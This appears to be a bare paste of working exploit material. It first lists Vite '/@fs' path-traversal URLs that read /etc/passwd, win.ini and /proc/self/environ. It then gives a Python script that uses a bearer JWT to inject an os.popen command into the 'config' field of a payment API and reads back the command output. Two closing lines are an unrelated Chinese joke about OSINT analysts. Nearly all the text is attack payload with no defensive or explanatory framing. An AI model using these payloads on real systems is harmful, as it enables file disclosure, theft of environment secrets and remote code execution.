/@fs/etc/passwd?import&?inline=1.wasm?init
/@fs/C://windows/win.ini?import&?inline=1.wasm?init

/@fs/etc/passwd?.svg?.wasm?init

/@fs/app#/../proc/self/environ

import requests

cmd = "ls /"
url = "http://xxx"
jwt_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZGVudGl0eSI6eyJlbWFpbCI6ImFkbWluQHFxLmNvbSJ9LCJleHAiOjE3NDQ4NzExNDZ9.jf8YjUqXWVschKPSvKjv7lcQZrhynLla6AWqH6WWavg"
resp = requests.post(
    url + "/api/v4/update_pays",
    headers={"Authorization": "Bearer " + jwt_token},
    json={
        "data": {
            # "config": f"[exec({payload!r}), f()][-1]",
            "config": f"__import__('os').popen({cmd!r}).read()",
            "icon": "\u652f\u4ed8\u5b9d",
            "id": 2,
            "info": "0\u8d39\u7387\u5b9e\u65f6\u5230\u8d26",
            "isactive": False,
            "name": "V\u514d\u7b7e\u652f\u4ed8\u5b9d",
        }
    },
)
resp = requests.get(
    url + "/api/v4/get_pays",
    headers={"Authorization": "Bearer " + jwt_token},
)
print([item["config"] for item in resp.json() if item.get("id") == 2].pop())

：你们美国OSINT就不能至少要求一下，做中国威胁情报一定要懂汉语
：错了 做中国情报一定要不懂汉语（
不然就不好意思喊了